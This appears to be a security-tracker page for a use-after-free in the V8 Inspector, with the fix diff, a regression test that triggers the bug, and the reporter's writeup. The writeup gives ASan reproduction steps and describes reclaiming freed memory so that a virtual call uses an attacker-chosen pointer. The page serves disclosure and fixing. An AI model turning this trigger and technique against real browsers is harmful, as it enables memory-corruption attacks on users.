Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in DevTools
DescriptionUse after free in DevTools
ComponentDevTools
Bug ClassUAF
Tracker520052954
Fix commit91a30f0b3770 (v8/v8) +74/-0
CISA KEVNot listed
Creditedyupyon.itome
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
if
test/inspector/runtime/regress-520052954.js
modified
setTimeout
test/inspector/runtime/regress-520052954.js
modified

Files Changed

  • src/inspector/injected-script.cc
  • test/inspector/inspector.status
  • test/inspector/runtime/regress-520052954-expected.txt
  • test/inspector/runtime/regress-520052954.js
From 91a30f0b3770265567557eb1ec47ee84b205597d Mon Sep 17 00:00:00 2001
From: Yang Guo <yangguo@chromium.org>
Date: Fri, 17 Jul 2026 15:27:36 +0000
Subject: [PATCH] [inspector] Fix UAF in ProtocolPromiseHandler on session disconnect

KeepSessionAliveScope was missing in ProtocolPromiseHandler::thenCallback
and catchCallback. If the session is disconnected during JS execution
within these callbacks (e.g. via custom formatters), the session and
associated InjectedScript are destroyed, leading to UAF when the stack
unwinds.

This CL adds KeepSessionAliveScope to both callbacks to keep the session
alive until they finish.

Also adds regression tests based on the PoCs attached to the issue.

TAG=agy
CONV=0d576582-f72b-47f5-a478-6eb9e6ebdbe3

Bug: 520052954
Change-Id: I2e7c65022b2a0d1933d333acabd22b33df13fdf8
Fixed: 520052954
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8117126
Reviewed-by: Simon Zünd <szuend@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Auto-Submit: Yang Guo <yangguo@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108738}
---

diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 0acd4d4..60a2eea 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -244,6 +244,7 @@
     V8InspectorSessionImpl* session =
         m_inspector->sessionById(m_contextGroupId, m_sessionId);
     if (!session) return;
+    V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session);
     InjectedScript::ContextScope scope(session, m_executionContextId);
     Response response = scope.initialize();
     if (!response.IsSuccess()) return;
@@ -291,6 +292,7 @@
     V8InspectorSessionImpl* session =
         m_inspector->sessionById(m_contextGroupId, m_sessionId);
     if (!session) return;
+    V8InspectorSessionImpl::KeepSessionAliveScope keepAlive(*session);
     InjectedScript::ContextScope scope(session, m_executionContextId);
     Response response = scope.initialize();
     if (!response.IsSuccess()) return;
diff --git a/test/inspector/inspector.status b/test/inspector/inspector.status
index 411feb8..bff9ad6 100644
--- a/test/inspector/inspector.status
+++ b/test/inspector/inspector.status
@@ -26,6 +26,7 @@
   # Tests that need to run sequentially (e.g. due to memory consumption).
   'runtime/console-messages-limits': [PASS, SLOW, HEAVY],
   'runtime/regression-732717': [PASS, HEAVY],
+  'runtime/regress-520052954': [PASS, ['not asan', SKIP]],
 }],  # ALWAYS
 
 ##############################################################################
diff --git a/test/inspector/runtime/regress-520052954-expected.txt b/test/inspector/runtime/regress-520052954-expected.txt
new file mode 100644
index 0000000..3ecaf44
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954-expected.txt
@@ -0,0 +1,5 @@
+Test session disconnect during exception wrapping.
+victim session id = 1
+[controller] paused -> stock utils.disconnectSession(victim)
+[controller] victim freed; resuming nested loop
+Reached post-wait (unexpected under ASan if bug fires).
diff --git a/test/inspector/runtime/regress-520052954.js b/test/inspector/runtime/regress-520052954.js
new file mode 100644
index 0000000..8fa68066
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954.js
@@ -0,0 +1,66 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Regression test for b/520052954.
+
+
+InspectorTest.log('Test session disconnect during exception wrapping.');
+
+const contextGroup = new InspectorTest.ContextGroup();
+
+// Victim session.
+const victim = contextGroup.connect();
+const VP = victim.Protocol;
+
+// Controller session.
+const controller = contextGroup.connect();
+const CP = controller.Protocol;
+
+let freed = false;
+
+(async function test() {
+  await VP.Runtime.enable();
+  await VP.Debugger.enable();
+  await VP.Runtime.setCustomObjectFormatterEnabled({enabled: true});
+
+  await CP.Runtime.enable();
+  await CP.Debugger.enable();
+
+  const victimId = victim.id;
+  InspectorTest.log('victim session id = ' + victimId);
+
+  CP.Debugger.onPaused(async () => {
+    if (freed) { await CP.Debugger.resume(); return; }
+    freed = true;
+    InspectorTest.log('[controller] paused -> stock utils.disconnectSession(victim)');
+    // Disconnect victim session.
+    utils.disconnectSession(victimId);
+    InspectorTest.log('[controller] victim freed; resuming nested loop');
+    await CP.Debugger.resume();
+  });
+
+  await VP.Runtime.evaluate({
+    expression: `
+      globalThis.devtoolsFormatters = [{
+        header: function(obj, config) { debugger; return null; },
+        hasBody: function() { return false; },
+      }];
+      setTimeout(function() {
+        // Trigger formatter.
+        throw {tag: 'exc'};
+      }, 0);
+    `,
+  });
+
+  // Drive the scheduled setTimeout to completion from the CONTROLLER. If the UAF
+  // fires under ASan we never get past here.
+  await CP.Runtime.evaluate({
+    expression: 'new Promise(r => setTimeout(r, 0))',
+    awaitPromise: true,
+  });
+
+  InspectorTest.log('Reached post-wait (unexpected under ASan if bug fires).');
+  InspectorTest._sessions.delete(victim);
+  InspectorTest.completeTest();
+})();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/runtime/regress-520052954-expected.txt b/test/inspector/runtime/regress-520052954-expected.txt
new file mode 100644
index 0000000..3ecaf44
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954-expected.txt
@@ -0,0 +1,5 @@
+Test session disconnect during exception wrapping.
+victim session id = 1
+[controller] paused -> stock utils.disconnectSession(victim)
+[controller] victim freed; resuming nested loop
+Reached post-wait (unexpected under ASan if bug fires).
diff --git a/test/inspector/runtime/regress-520052954.js b/test/inspector/runtime/regress-520052954.js
new file mode 100644
index 0000000..8fa68066
--- /dev/null
+++ b/test/inspector/runtime/regress-520052954.js
@@ -0,0 +1,66 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Regression test for b/520052954.
+
+
+InspectorTest.log('Test session disconnect during exception wrapping.');
+
+const contextGroup = new InspectorTest.ContextGroup();
+
+// Victim session.
+const victim = contextGroup.connect();
+const VP = victim.Protocol;
+
+// Controller session.
+const controller = contextGroup.connect();
+const CP = controller.Protocol;
+
+let freed = false;
+
+(async function test() {
+  await VP.Runtime.enable();
+  await VP.Debugger.enable();
+  await VP.Runtime.setCustomObjectFormatterEnabled({enabled: true});
+
+  await CP.Runtime.enable();
+  await CP.Debugger.enable();
+
+  const victimId = victim.id;
+  InspectorTest.log('victim session id = ' + victimId);
+
+  CP.Debugger.onPaused(async () => {
+    if (freed) { await CP.Debugger.resume(); return; }
+    freed = true;
+    InspectorTest.log('[controller] paused -> stock utils.disconnectSession(victim)');
+    // Disconnect victim session.
+    utils.disconnectSession(victimId);
+    InspectorTest.log('[controller] victim freed; resuming nested loop');
+    await CP.Debugger.resume();
+  });
+
+  await VP.Runtime.evaluate({
+    expression: `
+      globalThis.devtoolsFormatters = [{
+        header: function(obj, config) { debugger; return null; },
+        hasBody: function() { return false; },
+      }];
+      setTimeout(function() {
+        // Trigger formatter.
+        throw {tag: 'exc'};
+      }, 0);
+    `,
+  });
+
+  // Drive the scheduled setTimeout to completion from the CONTROLLER. If the UAF
+  // fires under ASan we never get past here.
+  await CP.Runtime.evaluate({
+    expression: 'new Promise(r => setTimeout(r, 0))',
+    awaitPromise: true,
+  });
+
+  InspectorTest.log('Reached post-wait (unexpected under ASan if bug fires).');
+  InspectorTest._sessions.delete(victim);
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by yu...@gmail.com

V8 Inspector: use-after-free in console/exception/promise reporting on session disconnect

Steps to reproduce the problem

Environment

V8 source: 15.1.0 (Chromium-tracked). Tested commit: f1d2db6bb88 (HEAD, 2026-06-04). Linux x86_64. Working tree unmodified (no source changes; all PoCs are stock harness JS).

Builds

UAF reproduction (callsites A-D) — out/fuzzbuild-sandbox-asan/args.gn:

is_debug = false
dcheck_always_on = false
v8_enable_sandbox = true
is_asan = true
target_cpu = "x64"

autoninja -C out/fuzzbuild-sandbox-asan inspector-test

Callsite B impact demo — out/fuzzbuild-sandbox/args.gn (non-ASan, because ASan quarantines the freed chunk and prevents the reclaim):

is_debug = false
dcheck_always_on = true
v8_enable_sandbox = true
target_cpu = "x64"

autoninja -C out/fuzzbuild-sandbox inspector-test

Run the UAF PoCs (A-D)

From the V8 source root, for each PoC:

ASAN_OPTIONS='abort_on_error=0:halt_on_error=1:detect_leaks=0' \
  ./out/fuzzbuild-sandbox-asan/inspector-test \
  test/inspector/protocol-test.js \
  poc-&lt;X&gt;.js

Each run aborts with AddressSanitizer: heap-use-after-free and a READ of size 8. Each report contains the deref-site stack, the freed-by stack through ~V8InspectorSessionImpl reached from UtilsExtension::DisconnectSession (inspector-test.cc:442), and the previously-allocated-by stack.

PoC console/JS trigger deref site freed region
A poc-A-wraparguments-session-stale.js console.log(a, b) (2 args) findInjectedScript v8-inspector-session-impl.cc:228 via wrapArguments :302 232 B V8InspectorSessionImpl, +24
B poc-B-consoleAPICalled.js console.log({...}) (1 arg) consoleAPICalled Runtime.cpp:478 via reportToFrontend :404 144 B V8RuntimeAgentImpl, +24 (frontend_channel_)
C poc-C-exceptionThrown.js uncaught throw {...} (via setTimeout) exceptionThrown Runtime.cpp:502 via reportToFrontend :363 144 B V8RuntimeAgentImpl, +24
D poc-D-promisehandler-catchCallback.js pending promise + Runtime.awaitPromise, then deferred reject session->inspector() v8-inspector-session-impl.h:47 via catchCallback injected-script.cc:305 232 B V8InspectorSessionImpl, +24

Common structure of every PoC (two stock sessions in one context group): the victim session enables Runtime + Debugger + Runtime.setCustomObjectFormatterEnabled; the controller session, on Debugger.paused, calls the committed utils.disconnectSession(victimId) and then Debugger.resume(). The page installs globalThis.devtoolsFormatters whose header runs debugger; (this is what opens the nested pause loop in which the disconnect is dispatched).

Run the callsite B impact demo

Sandbox-violation signal (the dereference faults at the attacker-chosen pointer):

UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
  ./out/fuzzbuild-sandbox/inspector-test --sandbox-testing \
  test/inspector/protocol-test.js \
  poc-B-impact-controlled-pointer.js

Expected stderr: ## V8 sandbox violation detected! (a read access — the vtable load). gdb capture of the controlled fault:

UBSAN_OPTIONS='...handle_segv=0...' \
  gdb -batch -x poc-B-impact-controlled-pointer.gdb \
  --args ./out/fuzzbuild-sandbox/inspector-test \
  test/inspector/protocol-test.js \
  poc-B-impact-controlled-pointer.js

gdb shows si_addr equal to the chosen pointer and the faulting instruction mov (%r15),%rcx with r15 = the chosen pointer. See poc-B-impact-controlled-pointer.log.

Problem Description

Summary

Heap-use-after-free in the V8 Inspector console/exception/promise reporting path. The reporting frames hold raw pointers to V8InspectorSessionImpl and its owned V8RuntimeAgentImpl across an object-preview callout that re-enters page JS (devtoolsFormatters[*].header). If the session is disconnected while that JS is on the stack, ~V8InspectorSessionImpl runs inline and frees the objects; the reporting frame then dereferences the stale pointer. The freed objects are on the renderer C++ heap, outside the V8 sandbox cage. Four callsites reproduced under ASan at HEAD f1d2db6bb88 (V8 15.1.0); logs attached.

Attacker model

A debugger client (a chrome.debugger-permission extension, or any CDP / DevTools client) attaches a session, enables custom formatters (Runtime.setCustomObjectFormatterEnabled(true)), and disconnects (chrome.debugger.detach / session close) at the moment the inspected page emits a console.log / uncaught throw / settled promise carrying an object whose formatter header pauses execution. No prior memory primitive assumed.

Mechanism

The only session pin (KeepSessionAliveScope, v8-inspector-session-impl.cc:362) is on the dispatchProtocolMessage stack; the console/exception/promise-reporting stacks have none. So:

  1. The page installs globalThis.devtoolsFormatters whose header runs debugger;.
  2. Reporting a value whose preview fires that formatter hits debugger;, which enters a nested message loop on pause (handleProgramBreak -> runMessageLoopOnPause).
  3. While paused, the debugger client disconnects the session (utils.disconnectSession in the inspector-test harness); it is dispatched inside the nested loop, so DevToolsSession::Disconnect -> ~V8InspectorSessionImpl (:161) runs synchronously on the suspended reporting stack. That destroys unique_ptr<V8RuntimeAgentImpl> (144 B; holds m_frontend.frontend_channel_ at +24) and frees the 232 B session.
  4. The formatter returns; the reporting frame dereferences the freed pointer.

Prior fixes cover only the dispatchProtocolMessage stack, not these paths.

Reproduced callsites (ASan, unmodified build)

All free via utils.disconnectSession -> InspectorIsolateData::DisconnectSession (inspector-test.cc:442) -> ~V8InspectorSessionImpl.

  • A V8ConsoleMessage::wrapArguments (v8-console-message.cc:302). console.log(a,b): iter-0’s wrapObject runs the formatter and frees the session; iter-1 derefs it at findInjectedScript (v8-inspector-session-impl.cc:228).
  • B reportToFrontend -> frontend->consoleAPICalled (v8-console-message.cc:404). Single-arg console.log({...}); reads frontend_channel_ from the freed V8RuntimeAgentImpl and virtual-dispatches SendProtocolNotification through it. See Impact.
  • C reportToFrontend kException -> frontend->exceptionThrown (:363). Uncaught throw {...}; wrapException runs the formatter, frees the session, then line 363 derefs the freed agent.
  • D InjectedScript::ProtocolPromiseHandler::catchCallback (injected-script.cc:305). A pending promise given to Runtime.awaitPromise then rejected from a later task runs catchCallback unpinned; its wrapObject preview frees the session, then line 305 reads session->inspector().

PoCs: poc-{A,B,C,D}-*.{js,log}.

Impact (callsite B)

Allocator-independent: the UAF reads frontend_channel_ from the freed object and immediately uses it as the receiver of a virtual call (SendProtocolNotification) — a code-pointer-bearing UAF, not a data read. Supplementary (glibc-configured build): the freed 144 B slot can be reclaimed from page JS (via inspector.scheduleWithAsyncStack, a same-size std::vector<uint16_t>) so frontend_channel_ becomes attacker-chosen; the vtable load then faults at exactly the chosen out-of-sandbox address, and varying it moves the fault bit-for-bit. Evidence: poc-B-impact-controlled-pointer.{js,gdb,log}.

Hardening notes (not reproduced)

  • E V8RuntimeAgentImpl::addBinding (~:1001): the post-Set recheck validates the context but not the session. Not reachable on stock V8 (the setter fires only on a default context, which runs pinned; contextCreated uses a pristine realm).
  • F getProperties -> InjectedScript (~:624): missing session recheck, but reached only via the pinned CDP dispatcher.

Suggested fix

A/B/C: capture a weak_ptr<V8InspectorSessionImpl> at reporting-function entry and bail before each post-callout deref if expired. D: re-fetch via sessionById(m_sessionId) after the wrapObject at injected-script.cc:298. Blanket: extend KeepSessionAliveScope from dispatchProtocolMessage to the console/exception delivery and async/promise-reaction entry points.

Summary

V8 Inspector: use-after-free in console/exception/promise reporting on session disconnect

Custom Questions

Type of crash:

tab

Reporter credit:

ywatanabee

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

View on issue tracker